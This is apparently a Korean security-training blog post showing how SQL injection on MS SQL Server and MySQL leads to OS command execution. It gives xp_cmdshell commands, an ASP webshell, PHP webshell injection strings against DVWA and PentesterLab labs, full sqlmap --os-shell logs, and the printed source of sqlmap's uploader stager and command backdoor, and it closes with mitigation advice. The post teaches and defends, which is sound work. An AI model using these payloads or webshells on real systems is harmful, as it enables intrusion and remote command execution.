홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#취약점해설 #SQL구문삽입 #MySQL #INTO OUTFILE #MS SQL Server #xp_cmdshell #웹쉘업로드 #운영체제명령어삽입 #sqlmap --os-shell #sqlmap #A1-Injection #ASP 웹쉘 #PHP 웹쉘

SQL구문삽입을 이용한 운영체제 명령어 실행 (MS SQL Server, MySQL)

SQL 구문삽입 취약점이 발생하면 일부 웹서버에서는 운영체제 명령어를 삽입하거나 웹쉘을 생성할 수 있게 된다. 대표적으로는 파일 쓰기 권한이 활성화된 MySQL과 MS SQL 서버이다.

MS SQL 서버와 SQL구문삽입을 이용한 OS 명령어 실행

마이크로소프트의 SQL Server는 xp_cmdshell이라는 절차(procedure)를 제공한다. 이 절차를 이용하면 DB 조회결과에 프로그램 실행결과를 포함할 수 있으므로 유용하다. 그런데 SQL 인젝션 취약점이 존재할 경우에는 공격자가 이 절차를 운영체제 명령어 실행에 악용할 수 있다.

EXEC sp_configure ‘show advanced options’, 1; — priv
RECONFIGURE; — priv
EXEC sp_configure ‘xp_cmdshell’, 1; — priv
RECONFIGURE; — priv
EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:

- 출처: MSSQL Injection Cheat Sheet

MSSQL 2005부터는 기본적으로 xp_cmdshell이 비활성화되어 있다. SQL서버의 접속권한이 허용할 경우에는, 공격자는 이를 활성화하고 운영체제 명령어를 실행할 수 있게 된다.

MSSQL의 백업 기능을 이용하면 웹쉘을 생성할 수 있다고 한다.

 use model  
 create table cmd(str image); 
 insert int cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>');
 backup database model to disk='c:wwwroot\cmd.asp';

- 출처: SQL Injection - xp_cmdshell

위와 같은 SQL 구문삽입이 가능할 경우에는 cmd.asp라는 웹쉘이 생성된다. 이 ASP 웹쉘을 웹 브라우저로 접속시 c 변수에 전달하는 명령어를 실행한다.

MySQL의 INTO OUTFILE 절차를 이용한 웹쉘 생성: DVWA SQL Injection의 성공 사례

MySQL에서는 SELECT 구문의 조회결과를 파일로 쓸 수 있는 기능을 제공한다. SELECT id FROM users INTO OUTFILE "/tmp/all-ids.txt";와 같은 방식이다. 그런데 일부 서비스 환경에서 SQL 구문삽입 취약점이 있을 경우에는 웹쉘을 삽입할 수 있다. 이를 성공할 수 있는 조건은 다음과 같다.

  • MySQL 계정이 파일 쓰기 권하이 있을 것(file_priv=Y.
  • MySQL의 설정 파일인 my.cnfsecure-file-priv가 비활성화되어 있을 것.
  • 리눅스의 mysql 계정이 쓰기 가능한 디렉토리가 웹 서비스 경로에 존재할 것.

DVWA의 SQL Injection 훈련장의 low level 예를 들어보자 부팅후 확인한 IP 주소는 192.168.206.136이다. 먼저 MYSQL 계정의 file_priv 권한을 확인한다.

SQL 구문삽입:: 3' UNION SELECT 1,CONCAT(user,0x3a,file_priv) FROM mysql.user#

출력:

ID: 3' UNION SELECT 1,CONCAT(user,0x3a,file_priv) FROM mysql.user#
First name: Hack
Surname: Me

ID: 3' UNION SELECT 1,CONCAT(user,0x3a,file_priv) FROM mysql.user#
First name: 1
Surname: root:Y

ID: 3' UNION SELECT 1,CONCAT(user,0x3a,file_priv) FROM mysql.user#
First name: 1
Surname: :N

MYSQL의 root 계정이 파일쓰기권한(file_priv)이 활성화(Y)되어 있다. mysql.useruser 값이 null인 경우에는 권한이 없다. 이를 이용하여 다음과 같은 SQL 구문을 만든다.

5' UNION SELECT 1,"<?php system($_GET['c']); ?>;" INTO OUTFILE '/var/www/hackable/cmdc.php'#

- 참고자료: MySQL - LOAD_FILE() 함수 및 INTO OUTFILE 구문을 이용한 SQL Injection

DVWA SQL Injection (low level) Into Outfile to webshell
[ DVWA SQL Injection 훈련장 low level에서의 웹쉘 생성 구문삽입 ]

5' UNION SELECT 1,"<?php system($_GET['c']); ?>;" INTO OUTFILE '/var/www/hackable/cmdc.php'id가 5인 사용자의 정보와 SELECT 1,"<?php system($_GET['c']); ?>;"구문의 결과를 /var/www/hackable/cmdc.php 파일에 쓴다. /var/www/hackable/ 디렉토리는 DVWA File Upload 훈련장에서 웹 사용자가 파일업로드가 가능하다는 사실을 확인한 디렉토리이다 (실제로는 거의 대부분의 디렉토리 권한이 777(drwxdrwxdrwx)여서 /var/www/ 하위 디렉토리에는 어디에나 파일쓰기가 가능한 상태임).

Into Outfile에 의해서 파일이 생성되었다면 접속 URL은 http://192.168.206.136/hackable/cmdc.php이다. curl을 이용하여 웹쉘을 실행한 사례는 다음과 같다.

root@kali:~# curl http://192.168.206.136/hackable/cmdc.php
Bob	Smith
1	;
root@kali:~# curl http://192.168.206.136/hackable/cmdc.php?c=id
Bob	Smith
1	uid=80(www) gid=80(www) groups=80(www)
;
root@kali:~# curl http://192.168.206.136/hackable/cmdc.php?c=cat+/proc/cpuinfo
Bob	Smith
1	processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 58
model name	: Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz
stepping	: 9
cpu MHz		: 3900.000
cache size	: 8192 KB
fdiv_bug	: no
hlt_bug		: no
f00f_bug	: no
coma_bug	: no
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss nx rdtscp lm constant_tsc up arch_perfmon pebs bts xtopology tsc_reliable nonstop_tsc aperfmperf pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 x2apic popcnt aes xsave avx f16c rdrnd hypervisor lahf_lm ida arat epb pln pts dts
bogomips	: 7800.00
clflush size	: 64
cache_alignment	: 64
address sizes	: 42 bits physical, 48 bits virtual
power management:

;
root@kali:~#

운영체제의 id 명령어를 실행했을 때 uid=80(www) gid=80(www) groups=80(www)를 출력하였다. 웹 서버의 실행권한이다.

/proc/cpuinfo 파일을 열람한 결과에서는 CPU가 인텔사의 Intel(R) Core(TM) i7-3770 CPU @ 3.40GHz이면 1 코어(또는 1 쓰레드)인 것을 확인할 수 있다. 이 CPU는 4코어 8쓰레드로 작동하므로 아마도 DVWA 웹 서버는 가상머신이라는 것을 추정할 수 있다.

DVWA 웹해킹훈련장에서 SQL 구문삽입으로 등록한 파일을 살펴보면 다음과 같다.

root@slitaz:~# cd /var/www/hackable/
root@slitaz:/var/www/hackable# ls -als
total 4
   0 drwxrwxrwx    5 root     root           120 Jan  9 14:03 .
   0 drwxr-xr-x    8 root     root           500 Nov 30 18:39 ..
   4 -rw-rw-rw-    1 mysql    mysql           42 Jan  9 14:03 cmdc.php
   0 drwxrwxrwx    2 root     root            60 Nov 30 18:39 flags
   0 drwxrwxrwx    2 root     root            60 Nov 30 18:39 uploads
   0 drwxrwxrwx    2 root     root           140 Nov 30 18:39 users
root@slitaz:/var/www/hackable# cat cmdc.php
Bob	Smith
1	<?php system($_GET['c']); ?>;
root@slitaz:/var/www/hackable# 

/var/www/hackable/ 디렉토리에 리눅스 계정인 mysql이 생성한 cmdc.php 파일을 확인할 수 있다. 내용에는 사용자 1명의 정보(Bob Smith)와 UNION으로 덧붙인 행에 PHP 코드가 포함되어 저장되었다. 이 경로가 웹 서버의 DOCUMENT_ROOT 디렉토리 내부이기 때문에 PHP 코드를 실행하게 된다.

sqlmap --os-shell

sqlmap은 MSSQL의 xp_cmdshell 절차나 MySQL의 INTO OUTFILE을 이용한 운영체제 명령어 실행을 지원한다. 먼저 sqlmap으로 DVWA SQL Injection 실습문제의 취약점을 탐색해보자.

root@kali:~# sqlmap --cookie "PHPSESSID=fo89764m25gnd4nv3pka0iueh6; security=low" -u "http://192.168.206.136/vulnerabilities/sqli/?id=1&Submit=Submit"
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.0.12#stable}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:29:29

[10:29:29] [INFO] testing connection to the target URL
[10:29:29] [INFO] testing if the target URL is stable
[10:29:30] [INFO] target URL is stable
[10:29:30] [INFO] testing if GET parameter 'id' is dynamic
[10:29:30] [WARNING] GET parameter 'id' does not appear to be dynamic
[10:29:30] [INFO] heuristics detected web page charset 'ascii'
[10:29:30] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[10:29:30] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting attacks
[10:29:30] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
[10:29:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:29:32] [WARNING] reflective value(s) found and filtering out
[10:29:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[10:29:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[10:29:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)'
[10:29:33] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="Me")
[10:29:33] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[10:29:33] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (BIGINT UNSIGNED)'
[10:29:34] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[10:29:34] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE, HAVING clause (EXP)'
[10:29:34] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[10:29:34] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE, HAVING clause (JSON_KEYS)'
[10:29:34] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[10:29:34] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[10:29:34] [INFO] testing 'MySQL inline queries'
[10:29:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[10:29:34] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:29:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[10:29:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[10:29:34] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[10:29:34] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[10:29:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[10:29:44] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[10:29:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:29:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[10:29:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[10:29:44] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[10:29:44] [INFO] target URL appears to have 2 columns in query
[10:29:44] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[10:29:44] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 211 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
    Payload: id=1' OR NOT 4226=4226#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 2353 FROM(SELECT COUNT(*),CONCAT(0x717a786b71,(SELECT (ELT(2353=2353,1))),0x7178787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vReX&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5)-- UzQO&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x717a786b71,0x635243616f474746656c79487a48584e674c4177504c5a4d6e655557616856685562447061597943,0x7178787071)#&Submit=Submit
---
[10:29:45] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0
[10:29:45] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136'

[*] shutting down at 10:29:45

root@kali:~#

id 변수에서 SQL 구문삽입 취약점이 발견되었다. sqlmap--os-shell 옵션을 이용하여 웹쉘 생성이 가능한 지 살펴보자.

root@kali:~# sqlmap --cookie "PHPSESSID=fo89764m25gnd4nv3pka0iueh6; security=low" -u "http://192.168.206.136/vulnerabilities/sqli/?id=1&Submit=Submit" --os-shell
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.0.12#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:29:52

[10:29:52] [INFO] resuming back-end DBMS 'mysql' 
[10:29:52] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
    Payload: id=1' OR NOT 4226=4226#&Submit=Submit

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 2353 FROM(SELECT COUNT(*),CONCAT(0x717a786b71,(SELECT (ELT(2353=2353,1))),0x7178787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- vReX&Submit=Submit

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=1' AND SLEEP(5)-- UzQO&Submit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x717a786b71,0x635243616f474746656c79487a48584e674c4177504c5a4d6e655557616856685562447061597943,0x7178787071)#&Submit=Submit
---
[10:29:53] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0
[10:29:53] [INFO] going to use a web backdoor for command prompt
[10:29:53] [INFO] fingerprinting the back-end DBMS operating system
[10:29:53] [WARNING] reflective value(s) found and filtering out
[10:29:53] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[10:29:55] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
[10:30:01] [WARNING] unable to automatically parse any web server path
[10:30:01] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[10:30:01] [INFO] heuristics detected web page charset 'ascii'
[10:30:01] [WARNING] unable to upload the file stager on '/var/www/'
[10:30:01] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[10:30:01] [WARNING] expect junk characters inside the file as a leftover from UNION query
[10:30:01] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[10:30:01] [INFO] trying to upload the file stager on '/var/www/vulnerabilities/sqli/' via LIMIT 'LINES TERMINATED BY' method
[10:30:01] [INFO] the file stager has been successfully uploaded on '/var/www/vulnerabilities/sqli/' - http://192.168.206.136:80/vulnerabilities/sqli/tmpuwoas.php
[10:30:01] [INFO] the backdoor has been successfully uploaded on '/var/www/vulnerabilities/sqli/' - http://192.168.206.136:80/vulnerabilities/sqli/tmpbxpdk.php
[10:30:01] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> pwd
do you want to retrieve the command standard output? [Y/n/a] 
command standard output:    '/var/www/vulnerabilities/sqli'
os-shell> ls -als
do you want to retrieve the command standard output? [Y/n/a] 
command standard output:
---
total 16
   0 drwxrwxrwx    4 root     root           160 Jan  9 10:30 .
   0 drwxrwxrwx   12 root     root           300 Nov 30 18:39 ..
   0 drwxrwxrwx    2 root     root            60 Nov 30 18:39 help
   4 -rw-r--r--    1 root     root          3197 Nov 30 18:39 index.php
   4 -rw-r--r--    1 root     root           890 Nov 30 18:39 session-input.php
   0 drwxrwxrwx    2 root     root           120 Nov 30 18:39 source
   4 -rwxr-xr-x    1 www      www            908 Jan  9 10:30 tmpbxpdk.php
   4 -rw-rw-rw-    1 mysql    mysql          732 Jan  9 10:30 tmpuwoas.php
---
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] 
command standard output:    'uid=80(www) gid=80(www) groups=80(www)'
os-shell> uname -a
do you want to retrieve the command standard output? [Y/n/a] 
command standard output:    'Linux slitaz 2.6.37-slitaz #2 SMP Wed Mar 7 10:36:39 CET 2012 i686 GNU/Linux'
os-shell> cat /etc/passwd
do you want to retrieve the command standard output? [Y/n/a] 
command standard output:
---
root:x:0:0:Root Administrator:/root:/bin/sh
nobody:x:99:99:Unprivileged User:/dev/null:/bin/false
www:x:80:80:Web Server User:/var/www:/bin/false
tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh
mysql:x:100:101:Linux User,,,:/home/mysql:/bin/false
---
os-shell> exit
[10:50:01] [INFO] cleaning up the web files uploaded
[10:50:01] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 8 times
[10:50:01] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.206.136'

[*] shutting down at 10:50:01

root@kali:~#

sqlmaptmpbxpdk.phptmpuwoas.php의 파일 두 개를 만들었다.

File Stager(tmpuwoas.php) 파일의 내용

admin	admin<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/vulnerabilities/sqli/> <input type=submit name=upload value=upload></form>";}?>

Backdoor(tmpbxpdk.php) 파일의 내용

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);$z=@ini_get('disable_functions');if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);$z=explode(',',$z);$z=array_map('trim',$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}elseif(f('proc_open')){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f('shell_exec')){$w=shell_exec($c);}elseif(f('passthru')){ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec')){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}print "<pre>".$w."</pre>";?>

sqlmap은 먼저 SQL 구문삽입 취약점을 이용하여 파일업로드 기능이 있는 PHP 파일(File Stager)을 서버 내에 생성한다. 그리고 이를 이용하여 웹을 통해 웹쉘(backdoor)을 올렸다.

MySQL의 INTO OUTFILE 절차를 이용한 웹쉘 생성: PentesterLab From SQL Injection to Shell의 실패 사례

앞서 설명한 바와 같이 MySQL 계정에 파일 쓰기 권한이 없으면 "INTO OUTFILE"을 이용하여 조회결과를 파일로 쓸 수 없다. PentesterLab이 제공하는 From SQL Injection to Shell 훈련장의 예를 들어보자. 부팅한 IP 주소는 192.168.206.136이다.

입력값 2 UNION SELECT 1,2,3,4#에 의해 SQL구문삽입을 확인할 수 있다. URL은 http://192.168.206.136/cat.php?id=2%20UNION%20SELECT%201,2,3,4#이다.

From SQLi to Shell SQL Injection
[ From SQL Injection to Shell 훈련장의 SQL 구문삽입 확인 ]

위의 그림에서 출력항목이 하나 더 늘었고, 두 군데서 2를 출력한다. SQL 인젝션이 발생하였다.

이렇게 SQL 구문삽입을 확인하였지만, 입력값 2 UNION SELECT 1,2,3,4 INTO OUTFILE '/tmp/test.txt'#에서 오류가 발생한다. 이때의 URL은 http://192.168.206.136/cat.php?id=2%20UNION%20SELECT%201,2,3,4%20INTO%20OUTFILE%20%27/tmp/test.txt%27#이다.

From SQLi to Shell SQL Injection
[ From SQL Injection to Shell 훈련장의 "Into Outfile" 실패 화면 ]

오류는 Access denied for user 'pentesterlab'@'localhost' (using password: YES)이다. Access denied 문자열에서 MySQL 계정인 'pentesterlab'@'localhost'는 파일 쓰기 권한이 없다는 것을 알 수 있다. 이러한 경우에는 웹쉘 생성이 불가능하다.

마무리

가장 안전한 방법은 SQL 구문삽입 취약점이 발생하지 않도록 보안코딩을 하는 것이다. 차선책으로는 웹서비스에서 사용하는 DBMS 계정이 관리자 권한이 아닌 일반 사용자 계정을 이용하는 것이다. 또한 MySQL의 경우에는 설정 파일인 my.cnfsecure-file-priv=/tmp/와 같이 설정하여 파일쓰기 경로를 제한하는 것이 안전하다.

[처음 작성한 날: 2017.01.09]    [마지막으로 고친 날: 2017.01.09] 


< 이전 글 : WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (2017.01.10)

> 다음 글 : WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (2017.01.06)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문

.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .